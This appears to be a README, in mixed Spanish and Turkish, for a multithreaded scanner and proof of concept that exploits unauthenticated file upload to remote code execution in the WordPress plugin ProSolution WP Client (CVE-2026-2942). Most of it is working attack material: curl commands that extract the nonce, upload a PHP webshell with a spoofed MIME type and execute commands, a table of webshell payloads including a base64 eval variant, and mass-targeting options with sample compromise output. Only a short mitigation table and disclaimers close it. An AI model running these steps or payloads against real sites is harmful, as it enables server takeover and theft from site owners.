
Escáner automatizado para carga arbitraria de archivos no autenticada y ejecución remota de código en ProSolution WP Client (CVE-2026-2942). Soporta escaneo multihilo, suplantación de tipo MIME, verificación de shell y soporte de proxy para pruebas de penetración.
Plugin: prosolution-wp-client
Versión Afectada: <= 1.9.9
Tipo de Vulnerabilidad: Subida de Archivos Arbitraria No Autenticada → Ejecución Remota de Código
Nivel de Riesgo: 🔴 Crítico (CVSS 9.8)
Requisito: Página pública que contiene el shortcode[prosolfrontend]
La acción AJAX proSol_fileUploadProcess del plugin ProSolution WP Client controla el tipo MIME de los archivos subidos pero no valida la extensión. Un atacante puede enviar un archivo con extensión .php con tipo MIME image/jpeg para subir una webshell al servidor sin autenticación.
[prosolfrontend] shortcode sayfası
│
▼
1. prosolObj.nonce → public sayfadan çekilir (kimlik doğrulama gerekmez)
│
▼
2. POST /wp-admin/admin-ajax.php
action=proSol_fileUploadProcess
security=<nonce>
files[]=shell.php (Content-Type: image/jpeg) ← MIME Spoofing
│
▼
3. /wp-content/uploads/prosolwpclient/[random].php olarak kaydedilir
│
▼
4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id
│
▼
5. uid=33(www-data) → Unauthenticated RCE ✓
⚠️ Aviso: Esta PoC se proporciona únicamente con fines educativos y de investigación de seguridad defensiva. Úsela solo contra sistemas que posea o para los que tenga autorización explícita por escrito para probar.
prosolution-wp-client activo (versión <= 1.9.9)[prosolfrontend]Visite cualquier página pública que contenga el shortcode [prosolfrontend] y extraiga el valor de prosolObj.nonce del código fuente:
TARGET="https://target.example.com"
NONCE=$(curl -s "$TARGET/jobs" \
| grep -oP '"nonce"\s*:\s*"\K[^"]+')
echo "Extracted nonce: $NONCE"
Estructura a buscar en el código fuente:
<script id='prosolwpclient-public-js-extra'>
var prosolObj = {
"ajaxurl": "https://target.example.com/wp-admin/admin-ajax.php",
"nonce": "a1b2c3d4e5",
...
};
</script>
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
Envíe el archivo .php con Content-Type image/jpeg:
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-F "action=proSol_fileUploadProcess" \
-F "security=$NONCE" \
-F "files[]=@/tmp/shell.php;type=image/jpeg" \
| python3 -m json.tool
Respuesta esperada:
{
"files": [
{
"name": "shell.php",
"size": 31,
"url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
"newfilename": "a3f8b2c1d9e4f7g2.php",
"rename_status": true,
"extension": "php"
}
]
}
"extension": "php"y"rename_status": true→ el archivo.phpse guardó correctamente.
SHELL_FILE="a3f8b2c1d9e4f7g2.php" # newfilename del Paso 3
curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"
Salida esperada:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅ RCE no autenticado conseguido.
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt
requirements.txt
requests
python prosol_upload.py -u http://hedef.com
python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"
python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt
python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080
python prosol_upload.py -u http://hedef.com --shell-type full
WordPress Kök/
└── wp-content/
└── uploads/
└── prosolwpclient/
└── [random_hex].php ← Shell burada
[*] 3 hedef | ProSolution File Upload | threads=10
[★ UPLOADED ] http://hedef1.com
Shell URL : http://hedef1.com/wp-content/uploads/prosolwpclient/a3f8b2c1d9.php
Yeni Ad : a3f8b2c1d9.php (renamed=True)
[✓ RCE OK ] cmd çıktısı: uid=33(www-data) gid=33(www-data)
[- BLOCKED ] http://hedef2.com ext=jpeg
[~ TIMEOUT ] http://hedef3.com
───────────────────────────────────────────────
UPLOADED : 1 █
BLOCKED : 1 █
TIMEOUT : 1 █
───────────────────────────────────────────────
Yüklenen shell'ler → uploaded.txt
───────────────────────────────────────────────
uploads/ dizini için .htaccess:
<FilesMatch "\.php$">
Deny from all
</FilesMatch>
Esta herramienta y PoC están preparados únicamente para su uso en sistemas autorizados, con fines educativos y dentro del alcance de pruebas de penetración. Su uso en sistemas no autorizados constituye un delito según los artículos 243-245 del Código Penal Turco y las leyes internacionales de delitos cibernéticos. El desarrollador no acepta ninguna responsabilidad legal derivada del mal uso de la herramienta.
Licencia MIT — Solo para fines educativos y de investigación.
| Parámetro | Corto | Descripción | Por Defecto |
|---|
--url | -u | URL de objetivo único | — |
--list | -l | Archivo de lista de objetivos | — |
--threads | -t | Número de hilos | 10 |
--output | -o | Archivo de salida | uploaded.txt |
--shell-name | — | Nombre del archivo a subir | shell.php |
--shell-type | — | Tipo de shell | system |
--verify | — | Prueba de RCE después de la subida | False |
--verify-cmd | — | Comando de verificación | id |
--proxy | — | URL del proxy | — |
--timeout | — | TimeOut de solicitud (seg) | 10 |
| Tipo | Payload | Descripción |
|---|
system | <?php system($_GET["cmd"]); ?> | Comando básico del sistema |
passthru | <?php passthru($_GET["cmd"]); ?> | Salida sin procesar |
exec | <?php echo exec($_GET["cmd"]); ?> | Ejecución silenciosa |
assert | <?php assert($_POST["cmd"]); ?> | Evaluación con POST |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Ofuscación Base64 |
full | shell_exec + system + exec fallback | Shell completo de amplio alcance |
| Estado | Descripción |
|---|
★ UPLOADED | Shell subida exitosamente |
✓ RCE OK | Shell verificada, comando ejecutado |
- BLOCKED | El servidor bloqueó la extensión PHP |
~ TIMEOUT | Tiempo de espera agotado |
~ CONN_ERR | Error de conexión |
! HTTP_ERR | Código de error HTTP |
| Medida | Implementación |
|---|
| Bloqueo de ejecución PHP | Agregar .htaccess al directorio uploads/ |
| Actualización del plugin | Actualizar a versión > 1.9.9 o eliminar |
| Lista blanca de extensiones | Solo extensiones permitidas en el lado del servidor |
| Validación MIME | Verificación del contenido real con finfo_file() |
| Regla WAF | Bloquear solicitudes de subida de .php |